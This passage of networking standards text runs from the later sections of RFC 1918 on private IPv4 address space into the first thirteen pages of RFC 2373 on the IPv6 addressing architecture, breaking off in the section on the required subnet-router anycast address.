           internal network can use non-unique IP network numbers.

         - Interfaces of routers on an internal network usually do not
           need to be directly accessible from outside the enterprise.

Rekhter, et al           Best Current Practice                  [Page 3]

RFC 1918        Address Allocation for Private Internets   February 1996

3. Private Address Space

   The Internet Assigned Numbers Authority (IANA) has reserved the
   following three blocks of the IP address space for private internets:

     10.0.0.0        -   10.255.255.255  (10/8 prefix)
     172.16.0.0      -   172.31.255.255  (172.16/12 prefix)
     192.168.0.0     -   192.168.255.255 (192.168/16 prefix)

   We will refer to the first block as "24-bit block", the second as
   "20-bit block", and to the third as "16-bit" block. Note that (in
   pre-CIDR notation) the first block is nothing but a single class A
   network number, while the second block is a set of 16 contiguous
   class B network numbers, and third block is a set of 256 contiguous
   class C network numbers.

   An enterprise that decides to use IP addresses out of the address
   space defined in this document can do so without any coordination
   with IANA or an Internet registry. The address space can thus be used
   by many enterprises. Addresses within this private address space will
   only be unique within the enterprise, or the set of enterprises which
   choose to cooperate over this space so they may communicate with each
   other in their own private internet.

   As before, any enterprise that needs globally unique address space is
   required to obtain such addresses from an Internet registry. An
   enterprise that requests IP addresses for its external connectivity
   will never be assigned addresses from the blocks defined above.

   In order to use private address space, an enterprise needs to
   determine which hosts do not need to have network layer connectivity
   outside the enterprise in the foreseeable future and thus could be
   classified as private. Such hosts will use the private address space
   defined above.  Private hosts can communicate with all other hosts
   inside the enterprise, both public and private. However, they cannot
   have IP connectivity to any host outside of the enterprise. While not
   having external (outside of the enterprise) IP connectivity private
   hosts can still have access to external services via mediating
   gateways (e.g., application layer gateways).

   All other hosts will be public and will use globally unique address
   space assigned by an Internet Registry. Public hosts can communicate
   with other hosts inside the enterprise both public and private and
   can have IP connectivity to public hosts outside the enterprise.
   Public hosts do not have connectivity to private hosts of other
   enterprises.

Rekhter, et al           Best Current Practice                  [Page 4]

RFC 1918        Address Allocation for Private Internets   February 1996

   Moving a host from private to public or vice versa involves a change
   of IP address, changes to the appropriate DNS entries, and changes to
   configuration files on other hosts that reference the host by IP
   address.

   Because private addresses have no global meaning, routing information
   about private networks shall not be propagated on inter-enterprise
   links, and packets with private source or destination addresses
   should not be forwarded across such links. Routers in networks not
   using private address space, especially those of Internet service
   providers, are expected to be configured to reject (filter out)
   routing information about private networks. If such a router receives
   such information the rejection shall not be treated as a routing
   protocol error.

   Indirect references to such addresses should be contained within the
   enterprise. Prominent examples of such references are DNS Resource
   Records and other information referring to internal private
   addresses. In particular, Internet service providers should take
   measures to prevent such leakage.

4. Advantages and Disadvantages of Using Private Address Space

   The obvious advantage of using private address space for the Internet
   at large is to conserve the globally unique address space by not
   using it where global uniqueness is not required.

   Enterprises themselves also enjoy a number of benefits from their
   usage of private address space: They gain a lot of flexibility in
   network design by having more address space at their disposal than
   they could obtain from the globally unique pool. This enables
   operationally and administratively convenient addressing schemes as
   well as easier growth paths.

   For a variety of reasons the Internet has already encountered
   situations where an enterprise that has not been connected to the
   Internet had used IP address space for its hosts without getting this
   space assigned from the IANA. In some cases this address space had
   been already assigned to other enterprises. If such an enterprise
   would later connects to the Internet, this could potentially create
   very serious problems, as IP routing cannot provide correct
   operations in presence of ambiguous addressing. Although in principle
   Internet Service Providers should guard against such mistakes through
   the use of route filters, this does not always happen in practice.
   Using private address space provides a safe choice for such
   enterprises, avoiding clashes once outside connectivity is needed.

Rekhter, et al           Best Current Practice                  [Page 5]

RFC 1918        Address Allocation for Private Internets   February 1996

   A major drawback to the use of private address space is that it may
   actually reduce an enterprise's flexibility to access the Internet.
   Once one commits to using a private address, one is committing to
   renumber part or all of an enterprise, should one decide to provide
   IP connectivity between that part (or all of the enterprise) and the
   Internet.  Usually the cost of renumbering can be measured by
   counting the number of hosts that have to transition from private to
   public. As was discussed earlier, however, even if a network uses
   globally unique addresses, it may still have to renumber in order to
   acquire Internet-wide IP connectivity.

   Another drawback to the use of private address space is that it may
   require renumbering when merging several private internets into a
   single private internet. If we review the examples we list in Section
   2, we note that companies tend to merge. If such companies prior to
   the merge maintained their uncoordinated internets using private
   address space, then if after the merge these private internets would
   be combined into a single private internet, some addresses within the
   combined private internet may not be unique. As a result, hosts with
   these addresses would need to be renumbered.

   The cost of renumbering may well be mitigated by development and
   deployment of tools that facilitate renumbering (e.g.  Dynamic Host
   Configuration Protocol (DHCP)). When deciding whether to use private
   addresses, we recommend to inquire computer and software vendors
   about availability of such tools.  A separate IETF effort (PIER
   Working Group) is pursuing full documentation of the requirements and
   procedures for renumbering.

5. Operational Considerations

   One possible strategy is to design the private part of the network
   first and use private address space for all internal links. Then plan
   public subnets at the locations needed and design the external
   connectivity.

   This design does not need to be fixed permanently. If a group of one
   or more hosts requires to change their status (from private to public
   or vice versa) later, this can be accomplished by renumbering only
   the hosts involved, and changing physical connectivity, if needed. In
   locations where such changes can be foreseen (machine rooms, etc.),
   it is advisable to configure separate physical media for public and
   private subnets to facilitate such changes.  In order to avoid major
   network disruptions, it is advisable to group hosts with similar
   connectivity needs on their own subnets.

Rekhter, et al           Best Current Practice                  [Page 6]

RFC 1918        Address Allocation for Private Internets   February 1996

   If a suitable subnetting scheme can be designed and is supported by
   the equipment concerned, it is advisable to use the 24-bit block
   (class A network) of private address space and make an addressing
   plan with a good growth path. If subnetting is a problem, the 16-bit
   block (class C networks), or the 20-bit block (class B networks) of
   private address space can be used.

   One might be tempted to have both public and private addresses on the
   same physical medium. While this is possible, there are pitfalls to
   such a design (note that the pitfalls have nothing to do with the use
   of private addresses, but are due to the presence of multiple IP
   subnets on a common Data Link subnetwork).  We advise caution when
   proceeding in this area.

   It is strongly recommended that routers which connect enterprises to
   external networks are set up with appropriate packet and routing
   filters at both ends of the link in order to prevent packet and
   routing information leakage. An enterprise should also filter any
   private networks from inbound routing information in order to protect
   itself from ambiguous routing situations which can occur if routes to
   the private address space point outside the enterprise.

   It is possible for two sites, who both coordinate their private
   address space, to communicate with each other over a public network.
   To do so they must use some method of encapsulation at their borders
   to a public network, thus keeping their private addresses private.

   If two (or more) organizations follow the address allocation
   specified in this document and then later wish to establish IP
   connectivity with each other, then there is a risk that address
   uniqueness would be violated.  To minimize the risk it is strongly
   recommended that an organization using private IP addresses choose
   randomly from the reserved pool of private addresses, when allocating
   sub-blocks for its internal allocation.

   If an enterprise uses the private address space, or a mix of private
   and public address spaces, then DNS clients outside of the enterprise
   should not see addresses in the private address space used by the
   enterprise, since these addresses would be ambiguous.  One way to
   ensure this is to run two authority servers for each DNS zone
   containing both publically and privately addressed hosts.  One server
   would be visible from the public address space and would contain only
   the subset of the enterprise's addresses which were reachable using
   public addresses.  The other server would be reachable only from the
   private network and would contain the full set of data, including the
   private addresses and whatever public addresses are reachable the
   private network.  In order to ensure consistency, both servers should
   be configured from the same data of which the publically visible zone

Rekhter, et al           Best Current Practice                  [Page 7]

RFC 1918        Address Allocation for Private Internets   February 1996

   only contains a filtered version. There is certain degree of
   additional complexity associated with providing these capabilities.

6. Security Considerations

   Security issues are not addressed in this memo.

7. Conclusion

   With the described scheme many large enterprises will need only a
   relatively small block of addresses from the globally unique IP
   address space. The Internet at large benefits through conservation of
   globally unique address space which will effectively lengthen the
   lifetime of the IP address space. The enterprises benefit from the
   increased flexibility provided by a relatively large private address
   space. However, use of private addressing requires that an
   organization renumber part or all of its enterprise network, as its
   connectivity requirements change over time.

8. Acknowledgments

   We would like to thank Tony Bates (MCI), Jordan Becker (ANS), Hans-
   Werner Braun (SDSC), Ross Callon (BayNetworks), John Curran (BBN
   Planet), Vince Fuller (BBN Planet), Tony Li (cisco Systems), Anne
   Lord (RIPE NCC), Milo Medin (NSI), Marten Terpstra (BayNetworks),
   Geza Turchanyi (RIPE NCC), Christophe Wolfhugel (Pasteur Institute),
   Andy Linton (connect.com.au), Brian Carpenter (CERN), Randy Bush
   (PSG), Erik Fair (Apple Computer), Dave Crocker (Brandenburg
   Consulting), Tom Kessler (SGI), Dave Piscitello (Core Competence),
   Matt Crawford (FNAL), Michael Patton (BBN), and Paul Vixie (Internet
   Software Consortium) for their review and constructive comments.

9. References

   [RFC1466] Gerich, E., "Guidelines for Management of IP Address
       Space", RFC 1466, Merit Network, Inc., May 1993.

   [RFC1518] Rekhter, Y., and T. Li, "An Architecture for IP Address
       Allocation with CIDR", RFC 1518, September 1993.

   [RFC1519] Fuller, V., Li, T., Yu, J., and K. Varadhan, "Classless
       Inter-Domain Routing (CIDR): an Address Assignment and
       Aggregation Strategy", RFC 1519, September 1993.

Rekhter, et al           Best Current Practice                  [Page 8]

RFC 1918        Address Allocation for Private Internets   February 1996

10. Authors' Addresses

   Yakov Rekhter
   Cisco systems
   170 West Tasman Drive
   San Jose, CA, USA
   Phone: +1 914 528 0090
   Fax: +1 408 526-4952
   EMail: yakov@cisco.com

   Robert G Moskowitz
   Chrysler Corporation
   CIMS: 424-73-00
   25999 Lawrence Ave
   Center Line, MI 48015
   Phone: +1 810 758 8212
   Fax: +1 810 758 8173
   EMail: rgm3@is.chrysler.com

   Daniel Karrenberg
   RIPE Network Coordination Centre
   Kruislaan 409
   1098 SJ Amsterdam, the Netherlands
   Phone: +31 20 592 5065
   Fax: +31 20 592 5090
   EMail: Daniel.Karrenberg@ripe.net

   Geert Jan de Groot
   RIPE Network Coordination Centre
   Kruislaan 409
   1098 SJ Amsterdam, the Netherlands
   Phone: +31 20 592 5065
   Fax: +31 20 592 5090
   EMail: GeertJan.deGroot@ripe.net

   Eliot Lear
   Mail Stop 15-730
   Silicon Graphics, Inc.
   2011 N. Shoreline Blvd.
   Mountain View, CA 94043-1389
   Phone: +1 415 960 1980
   Fax:   +1 415 961 9584
   EMail: lear@sgi.com

Rekhter, et al           Best Current Practice                  [Page 9]


Network Working Group                                        R. Hinden
Request for Comments: 2373                                       Nokia
Obsoletes: 1884                                             S. Deering
Category: Standards Track                                Cisco Systems
                                 July 1998

                  IP Version 6 Addressing Architecture

Status of this Memo

   This document specifies an Internet standards track protocol for the
   Internet community, and requests discussion and suggestions for
   improvements.  Please refer to the current edition of the "Internet
   Official Protocol Standards" (STD 1) for the standardization state
   and status of this protocol.  Distribution of this memo is unlimited.

Copyright Notice

   Copyright (C) The Internet Society (1998).  All Rights Reserved.

Abstract

   This specification defines the addressing architecture of the IP
   Version 6 protocol [IPV6].  The document includes the IPv6 addressing
   model, text representations of IPv6 addresses, definition of IPv6
   unicast addresses, anycast addresses, and multicast addresses, and an
   IPv6 node's required addresses.

Table of Contents

   1. Introduction.................................................2
   2. IPv6 Addressing..............................................2
      2.1 Addressing Model.........................................3
      2.2 Text Representation of Addresses.........................3
      2.3 Text Representation of Address Prefixes..................5
      2.4 Address Type Representation..............................6
      2.5 Unicast Addresses........................................7
        2.5.1 Interface Identifiers................................8
        2.5.2 The Unspecified Address..............................9
        2.5.3 The Loopback Address.................................9
        2.5.4 IPv6 Addresses with Embedded IPv4 Addresses.........10
        2.5.5 NSAP Addresses......................................10
        2.5.6 IPX Addresses.......................................10
        2.5.7 Aggregatable Global Unicast Addresses...............11
        2.5.8 Local-use IPv6 Unicast Addresses....................11
      2.6 Anycast Addresses.......................................12
        2.6.1 Required Anycast Address............................13
      2.7 Multicast Addresses.....................................14

Hinden & Deering            Standards Track                     [Page 1]

RFC 2373              IPv6 Addressing Architecture             July 1998

        2.7.1 Pre-Defined Multicast Addresses.....................15
        2.7.2 Assignment of New IPv6 Multicast Addresses..........17
      2.8 A Node's Required Addresses.............................17
   3. Security Considerations.....................................18
   APPENDIX A: Creating EUI-64 based Interface Identifiers........19
   APPENDIX B: ABNF Description of Text Representations...........22
   APPENDIX C: CHANGES FROM RFC-1884..............................23
   REFERENCES.....................................................24
   AUTHORS' ADDRESSES.............................................25
   FULL COPYRIGHT STATEMENT.......................................26

1.0 INTRODUCTION

   This specification defines the addressing architecture of the IP
   Version 6 protocol.  It includes a detailed description of the
   currently defined address formats for IPv6 [IPV6].

   The authors would like to acknowledge the contributions of Paul
   Francis, Scott Bradner, Jim Bound, Brian Carpenter, Matt Crawford,
   Deborah Estrin, Roger Fajman, Bob Fink, Peter Ford, Bob Gilligan,
   Dimitry Haskin, Tom Harsch, Christian Huitema, Tony Li, Greg
   Minshall, Thomas Narten, Erik Nordmark, Yakov Rekhter, Bill Simpson,
   and Sue Thomson.

   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
   document are to be interpreted as described in [RFC 2119].

2.0 IPv6 ADDRESSING

   IPv6 addresses are 128-bit identifiers for interfaces and sets of
   interfaces.  There are three types of addresses:

     Unicast:   An identifier for a single interface.  A packet sent to
                a unicast address is delivered to the interface
                identified by that address.

     Anycast:   An identifier for a set of interfaces (typically
                belonging to different nodes).  A packet sent to an
                anycast address is delivered to one of the interfaces
                identified by that address (the "nearest" one, according
                to the routing protocols' measure of distance).

     Multicast: An identifier for a set of interfaces (typically
                belonging to different nodes).  A packet sent to a
                multicast address is delivered to all interfaces
                identified by that address.

Hinden & Deering            Standards Track                     [Page 2]

RFC 2373              IPv6 Addressing Architecture             July 1998

   There are no broadcast addresses in IPv6, their function being
   superseded by multicast addresses.

   In this document, fields in addresses are given a specific name, for
   example "subscriber".  When this name is used with the term "ID" for
   identifier after the name (e.g., "subscriber ID"), it refers to the
   contents of the named field.  When it is used with the term "prefix"
   (e.g.  "subscriber prefix") it refers to all of the address up to and
   including this field.

   In IPv6, all zeros and all ones are legal values for any field,
   unless specifically excluded.  Specifically, prefixes may contain
   zero-valued fields or end in zeros.

2.1 Addressing Model

   IPv6 addresses of all types are assigned to interfaces, not nodes.
   An IPv6 unicast address refers to a single interface.  Since each
   interface belongs to a single node, any of that node's interfaces'
   unicast addresses may be used as an identifier for the node.

   All interfaces are required to have at least one link-local unicast
   address (see section 2.8 for additional required addresses).  A
   single interface may also be assigned multiple IPv6 addresses of any
   type (unicast, anycast, and multicast) or scope.  Unicast addresses
   with scope greater than link-scope are not needed for interfaces that
   are not used as the origin or destination of any IPv6 packets to or
   from non-neighbors.  This is sometimes convenient for point-to-point
   interfaces.  There is one exception to this addressing model:

     An unicast address or a set of unicast addresses may be assigned to
     multiple physical interfaces if the implementation treats the
     multiple physical interfaces as one interface when presenting it to
     the internet layer.  This is useful for load-sharing over multiple
     physical interfaces.

   Currently IPv6 continues the IPv4 model that a subnet prefix is
   associated with one link.  Multiple subnet prefixes may be assigned
   to the same link.

2.2 Text Representation of Addresses

   There are three conventional forms for representing IPv6 addresses as
   text strings:

   1. The preferred form is x:x:x:x:x:x:x:x, where the 'x's are the
      hexadecimal values of the eight 16-bit pieces of the address.
      Examples:

Hinden & Deering            Standards Track                     [Page 3]

RFC 2373              IPv6 Addressing Architecture             July 1998

         FEDC:BA98:7654:3210:FEDC:BA98:7654:3210

         1080:0:0:0:8:800:200C:417A

      Note that it is not necessary to write the leading zeros in an
      individual field, but there must be at least one numeral in every
      field (except for the case described in 2.).

   2. Due to some methods of allocating certain styles of IPv6
      addresses, it will be common for addresses to contain long strings
      of zero bits.  In order to make writing addresses containing zero
      bits easier a special syntax is available to compress the zeros.
      The use of "::" indicates multiple groups of 16-bits of zeros.
      The "::" can only appear once in an address.  The "::" can also be
      used to compress the leading and/or trailing zeros in an address.

      For example the following addresses:

         1080:0:0:0:8:800:200C:417A  a unicast address
         FF01:0:0:0:0:0:0:101        a multicast address
         0:0:0:0:0:0:0:1             the loopback address
         0:0:0:0:0:0:0:0             the unspecified addresses

      may be represented as:

         1080::8:800:200C:417A       a unicast address
         FF01::101                   a multicast address
         ::1                         the loopback address
         ::                          the unspecified addresses

   3. An alternative form that is sometimes more convenient when dealing
      with a mixed environment of IPv4 and IPv6 nodes is
      x:x:x:x:x:x:d.d.d.d, where the 'x's are the hexadecimal values of
      the six high-order 16-bit pieces of the address, and the 'd's are
      the decimal values of the four low-order 8-bit pieces of the
      address (standard IPv4 representation).  Examples:

         0:0:0:0:0:0:13.1.68.3

         0:0:0:0:0:FFFF:129.144.52.38

      or in compressed form:

         ::13.1.68.3

         ::FFFF:129.144.52.38

Hinden & Deering            Standards Track                     [Page 4]

RFC 2373              IPv6 Addressing Architecture             July 1998

2.3 Text Representation of Address Prefixes

   The text representation of IPv6 address prefixes is similar to the
   way IPv4 addresses prefixes are written in CIDR notation.  An IPv6
   address prefix is represented by the notation:

      ipv6-address/prefix-length

   where

      ipv6-address    is an IPv6 address in any of the notations listed
                      in section 2.2.

      prefix-length   is a decimal value specifying how many of the
                      leftmost contiguous bits of the address comprise
                      the prefix.

   For example, the following are legal representations of the 60-bit
   prefix 12AB00000000CD3 (hexadecimal):

      12AB:0000:0000:CD30:0000:0000:0000:0000/60
      12AB::CD30:0:0:0:0/60
      12AB:0:0:CD30::/60

   The following are NOT legal representations of the above prefix:

      12AB:0:0:CD3/60   may drop leading zeros, but not trailing zeros,
                        within any 16-bit chunk of the address

      12AB::CD30/60     address to left of "/" expands to
                        12AB:0000:0000:0000:0000:000:0000:CD30

      12AB::CD3/60      address to left of "/" expands to
                        12AB:0000:0000:0000:0000:000:0000:0CD3

   When writing both a node address and a prefix of that node address
   (e.g., the node's subnet prefix), the two can combined as follows:

      the node address      12AB:0:0:CD30:123:4567:89AB:CDEF
      and its subnet number 12AB:0:0:CD30::/60

      can be abbreviated as 12AB:0:0:CD30:123:4567:89AB:CDEF/60

Hinden & Deering            Standards Track                     [Page 5]

RFC 2373              IPv6 Addressing Architecture             July 1998

2.4 Address Type Representation

   The specific type of an IPv6 address is indicated by the leading bits
   in the address.  The variable-length field comprising these leading
   bits is called the Format Prefix (FP).  The initial allocation of
   these prefixes is as follows:

    Allocation                            Prefix         Fraction of
                                          (binary)       Address Space
    -----------------------------------   --------       -------------
    Reserved                              0000 0000      1/256
    Unassigned                            0000 0001      1/256

    Reserved for NSAP Allocation          0000 001       1/128
    Reserved for IPX Allocation           0000 010       1/128

    Unassigned                            0000 011       1/128
    Unassigned                            0000 1         1/32
    Unassigned                            0001           1/16

    Aggregatable Global Unicast Addresses 001            1/8
    Unassigned                            010            1/8
    Unassigned                            011            1/8
    Unassigned                            100            1/8
    Unassigned                            101            1/8
    Unassigned                            110            1/8

    Unassigned                            1110           1/16
    Unassigned                            1111 0         1/32
    Unassigned                            1111 10        1/64
    Unassigned                            1111 110       1/128
    Unassigned                            1111 1110 0    1/512

    Link-Local Unicast Addresses          1111 1110 10   1/1024
    Site-Local Unicast Addresses          1111 1110 11   1/1024

    Multicast Addresses                   1111 1111      1/256

    Notes:

      (1) The "unspecified address" (see section 2.5.2), the loopback
          address (see section 2.5.3), and the IPv6 Addresses with
          Embedded IPv4 Addresses (see section 2.5.4), are assigned out
          of the 0000 0000 format prefix space.

Hinden & Deering            Standards Track                     [Page 6]

RFC 2373              IPv6 Addressing Architecture             July 1998

      (2) The format prefixes 001 through 111, except for Multicast
          Addresses (1111 1111), are all required to have to have 64-bit
          interface identifiers in EUI-64 format.  See section 2.5.1 for
          definitions.

   This allocation supports the direct allocation of aggregation
   addresses, local use addresses, and multicast addresses.  Space is
   reserved for NSAP addresses and IPX addresses.  The remainder of the
   address space is unassigned for future use.  This can be used for
   expansion of existing use (e.g., additional aggregatable addresses,
   etc.) or new uses (e.g., separate locators and identifiers).  Fifteen
   percent of the address space is initially allocated.  The remaining
   85% is reserved for future use.

   Unicast addresses are distinguished from multicast addresses by the
   value of the high-order octet of the addresses: a value of FF
   (11111111) identifies an address as a multicast address; any other
   value identifies an address as a unicast address.  Anycast addresses
   are taken from the unicast address space, and are not syntactically
   distinguishable from unicast addresses.

2.5 Unicast Addresses

   IPv6 unicast addresses are aggregatable with contiguous bit-wise
   masks similar to IPv4 addresses under Class-less Interdomain Routing
   [CIDR].

   There are several forms of unicast address assignment in IPv6,
   including the global aggregatable global unicast address, the NSAP
   address, the IPX hierarchical address, the site-local address, the
   link-local address, and the IPv4-capable host address.  Additional
   address types can be defined in the future.

   IPv6 nodes may have considerable or little knowledge of the internal
   structure of the IPv6 address, depending on the role the node plays
   (for instance, host versus router).  At a minimum, a node may
   consider that unicast addresses (including its own) have no internal
   structure:

   |                           128 bits                              |
   +-----------------------------------------------------------------+
   |                          node address                           |
   +-----------------------------------------------------------------+

   A slightly sophisticated host (but still rather simple) may
   additionally be aware of subnet prefix(es) for the link(s) it is
   attached to, where different addresses may have different values for
   n:

Hinden & Deering            Standards Track                     [Page 7]

RFC 2373              IPv6 Addressing Architecture             July 1998

   |                         n bits                 |   128-n bits   |
   +------------------------------------------------+----------------+
   |                   subnet prefix                | interface ID   |
   +------------------------------------------------+----------------+

   Still more sophisticated hosts may be aware of other hierarchical
   boundaries in the unicast address.  Though a very simple router may
   have no knowledge of the internal structure of IPv6 unicast
   addresses, routers will more generally have knowledge of one or more
   of the hierarchical boundaries for the operation of routing
   protocols.  The known boundaries will differ from router to router,
   depending on what positions the router holds in the routing
   hierarchy.

2.5.1 Interface Identifiers

   Interface identifiers in IPv6 unicast addresses are used to identify
   interfaces on a link.  They are required to be unique on that link.
   They may also be unique over a broader scope.  In many cases an
   interface's identifier will be the same as that interface's link-
   layer address.  The same interface identifier may be used on multiple
   interfaces on a single node.

   Note that the use of the same interface identifier on multiple
   interfaces of a single node does not affect the interface
   identifier's global uniqueness or each IPv6 addresses global
   uniqueness created using that interface identifier.

   In a number of the format prefixes (see section 2.4) Interface IDs
   are required to be 64 bits long and to be constructed in IEEE EUI-64
   format [EUI64].  EUI-64 based Interface identifiers may have global
   scope when a global token is available (e.g., IEEE 48bit MAC) or may
   have local scope where a global token is not available (e.g., serial
   links, tunnel end-points, etc.).  It is required that the "u" bit
   (universal/local bit in IEEE EUI-64 terminology) be inverted when
   forming the interface identifier from the EUI-64.  The "u" bit is set
   to one (1) to indicate global scope, and it is set to zero (0) to
   indicate local scope.  The first three octets in binary of an EUI-64
   identifier are as follows:

       0       0 0       1 1       2
      |0       7 8       5 6       3|
      +----+----+----+----+----+----+
      |cccc|ccug|cccc|cccc|cccc|cccc|
      +----+----+----+----+----+----+

Hinden & Deering            Standards Track                     [Page 8]

RFC 2373              IPv6 Addressing Architecture             July 1998

   written in Internet standard bit-order , where "u" is the
   universal/local bit, "g" is the individual/group bit, and "c" are the
   bits of the company_id.  Appendix A: "Creating EUI-64 based Interface
   Identifiers" provides examples on the creation of different EUI-64
   based interface identifiers.

   The motivation for inverting the "u" bit when forming the interface
   identifier is to make it easy for system administrators to hand
   configure local scope identifiers when hardware tokens are not
   available.  This is expected to be case for serial links, tunnel end-
   points, etc.  The alternative would have been for these to be of the
   form 0200:0:0:1, 0200:0:0:2, etc., instead of the much simpler ::1,
   ::2, etc.

   The use of the universal/local bit in the IEEE EUI-64 identifier is
   to allow development of future technology that can take advantage of
   interface identifiers with global scope.

   The details of forming interface identifiers are defined in the
   appropriate "IPv6 over <link>" specification such as "IPv6 over
   Ethernet" [ETHER], "IPv6 over FDDI" [FDDI], etc.

2.5.2 The Unspecified Address

   The address 0:0:0:0:0:0:0:0 is called the unspecified address.  It
   must never be assigned to any node.  It indicates the absence of an
   address.  One example of its use is in the Source Address field of
   any IPv6 packets sent by an initializing host before it has learned
   its own address.

   The unspecified address must not be used as the destination address
   of IPv6 packets or in IPv6 Routing Headers.

2.5.3 The Loopback Address

   The unicast address 0:0:0:0:0:0:0:1 is called the loopback address.
   It may be used by a node to send an IPv6 packet to itself.  It may
   never be assigned to any physical interface.  It may be thought of as
   being associated with a virtual interface (e.g., the loopback
   interface).

   The loopback address must not be used as the source address in IPv6
   packets that are sent outside of a single node.  An IPv6 packet with
   a destination address of loopback must never be sent outside of a
   single node and must never be forwarded by an IPv6 router.

Hinden & Deering            Standards Track                     [Page 9]

RFC 2373              IPv6 Addressing Architecture             July 1998

2.5.4 IPv6 Addresses with Embedded IPv4 Addresses

   The IPv6 transition mechanisms [TRAN] include a technique for hosts
   and routers to dynamically tunnel IPv6 packets over IPv4 routing
   infrastructure.  IPv6 nodes that utilize this technique are assigned
   special IPv6 unicast addresses that carry an IPv4 address in the low-
   order 32-bits.  This type of address is termed an "IPv4-compatible
   IPv6 address" and has the format:

   |                80 bits               | 16 |      32 bits        |
   +--------------------------------------+--------------------------+
   |0000..............................0000|0000|    IPv4 address     |
   +--------------------------------------+----+---------------------+

   A second type of IPv6 address which holds an embedded IPv4 address is
   also defined.  This address is used to represent the addresses of
   IPv4-only nodes (those that *do not* support IPv6) as IPv6 addresses.
   This type of address is termed an "IPv4-mapped IPv6 address" and has
   the format:

   |                80 bits               | 16 |      32 bits        |
   +--------------------------------------+--------------------------+
   |0000..............................0000|FFFF|    IPv4 address     |
   +--------------------------------------+----+---------------------+

2.5.5 NSAP Addresses

   This mapping of NSAP address into IPv6 addresses is defined in
   [NSAP].  This document recommends that network implementors who have
   planned or deployed an OSI NSAP addressing plan, and who wish to
   deploy or transition to IPv6, should redesign a native IPv6
   addressing plan to meet their needs.  However, it also defines a set
   of mechanisms for the support of OSI NSAP addressing in an IPv6
   network.  These mechanisms are the ones that must be used if such
   support is required.  This document also defines a mapping of IPv6
   addresses within the OSI address format, should this be required.

2.5.6 IPX Addresses

   This mapping of IPX address into IPv6 addresses is as follows:

   |   7   |                   121 bits                              |
   +-------+---------------------------------------------------------+
   |0000010|                 to be defined                           |
   +-------+---------------------------------------------------------+

   The draft definition, motivation, and usage are under study.

Hinden & Deering            Standards Track                    [Page 10]

RFC 2373              IPv6 Addressing Architecture             July 1998

2.5.7 Aggregatable Global Unicast Addresses

   The global aggregatable global unicast address is defined in [AGGR].
   This address format is designed to support both the current provider
   based aggregation and a new type of aggregation called exchanges.
   The combination will allow efficient routing aggregation for both
   sites which connect directly to providers and who connect to
   exchanges.  Sites will have the choice to connect to either type of
   aggregation point.

   The IPv6 aggregatable global unicast address format is as follows:

   | 3|  13 | 8 |   24   |   16   |          64 bits               |
   +--+-----+---+--------+--------+--------------------------------+
   |FP| TLA |RES|  NLA   |  SLA   |         Interface ID           |
   |  | ID  |   |  ID    |  ID    |                                |
   +--+-----+---+--------+--------+--------------------------------+

   Where

      001          Format Prefix (3 bit) for Aggregatable Global
                   Unicast Addresses
      TLA ID       Top-Level Aggregation Identifier
      RES          Reserved for future use
      NLA ID       Next-Level Aggregation Identifier
      SLA ID       Site-Level Aggregation Identifier
      INTERFACE ID Interface Identifier

   The contents, field sizes, and assignment rules are defined in
   [AGGR].

2.5.8 Local-Use IPv6 Unicast Addresses

   There are two types of local-use unicast addresses defined.  These
   are Link-Local and Site-Local.  The Link-Local is for use on a single
   link and the Site-Local is for use in a single site.  Link-Local
   addresses have the following format:

   |   10     |
   |  bits    |        54 bits          |          64 bits           |
   +----------+-------------------------+----------------------------+
   |1111111010|           0             |       interface ID         |
   +----------+-------------------------+----------------------------+

   Link-Local addresses are designed to be used for addressing on a
   single link for purposes such as auto-address configuration, neighbor
   discovery, or when no routers are present.

Hinden & Deering            Standards Track                    [Page 11]

RFC 2373              IPv6 Addressing Architecture             July 1998

   Routers must not forward any packets with link-local source or
   destination addresses to other links.

   Site-Local addresses have the following format:

   |   10     |
   |  bits    |   38 bits   |  16 bits  |         64 bits            |
   +----------+-------------+-----------+----------------------------+
   |1111111011|    0        | subnet ID |       interface ID         |
   +----------+-------------+-----------+----------------------------+

   Site-Local addresses are designed to be used for addressing inside of
   a site without the need for a global prefix.

   Routers must not forward any packets with site-local source or
   destination addresses outside of the site.

2.6 Anycast Addresses

   An IPv6 anycast address is an address that is assigned to more than
   one interface (typically belonging to different nodes), with the
   property that a packet sent to an anycast address is routed to the
   "nearest" interface having that address, according to the routing
   protocols' measure of distance.

   Anycast addresses are allocated from the unicast address space, using
   any of the defined unicast address formats.  Thus, anycast addresses
   are syntactically indistinguishable from unicast addresses.  When a
   unicast address is assigned to more than one interface, thus turning
   it into an anycast address, the nodes to which the address is
   assigned must be explicitly configured to know that it is an anycast
   address.

   For any assigned anycast address, there is a longest address prefix P
   that identifies the topological region in which all interfaces
   belonging to that anycast address reside.  Within the region
   identified by P, each member of the anycast set must be advertised as
   a separate entry in the routing system (commonly referred to as a
   "host route"); outside the region identified by P, the anycast
   address may be aggregated into the routing advertisement for prefix
   P.

   Note that in, the worst case, the prefix P of an anycast set may be
   the null prefix, i.e., the members of the set may have no topological
   locality.  In that case, the anycast address must be advertised as a
   separate routing entry throughout the entire internet, which presents

Hinden & Deering            Standards Track                    [Page 12]

RFC 2373              IPv6 Addressing Architecture             July 1998

   a severe scaling limit on how many such "global" anycast sets may be
   supported.  Therefore, it is expected that support for global anycast
   sets may be unavailable or very restricted.

   One expected use of anycast addresses is to identify the set of
   routers belonging to an organization providing internet service.
   Such addresses could be used as intermediate addresses in an IPv6
   Routing header, to cause a packet to be delivered via a particular
   aggregation or sequence of aggregations.  Some other possible uses
   are to identify the set of routers attached to a particular subnet,
   or the set of routers providing entry into a particular routing
   domain.

   There is little experience with widespread, arbitrary use of internet
   anycast addresses, and some known complications and hazards when
   using them in their full generality [ANYCST].  Until more experience
   has been gained and solutions agreed upon for those problems, the
   following restrictions are imposed on IPv6 anycast addresses:

      o An anycast address must not be used as the source address of an
        IPv6 packet.

      o An anycast address must not be assigned to an IPv6 host, that
        is, it may be assigned to an IPv6 router only.

2.6.1 Required Anycast Address

   The Subnet-Router anycast address is predefined.  Its format is as
   follows:

   |                         n bits                 |   128-n bits   |
   +------------------------------------------------+----------------+
   |                   subnet prefix                | 00000000000000 |
   +------------------------------------------------+----------------+

   The "subnet prefix" in an anycast address is the prefix which
   identifies a specific link.  This anycast address is syntactically
   the same as a unicast address for an interface on the link with the
   interface identifier set to zero.

   Packets sent to the Subnet-Router anycast address will be delivered
   to one router on the subnet.  All routers are required to support the
   Subnet-Router anycast addresses for the subnets which they have
   interfaces.

Hinden & Deering            Standards Track                    [Page 13]

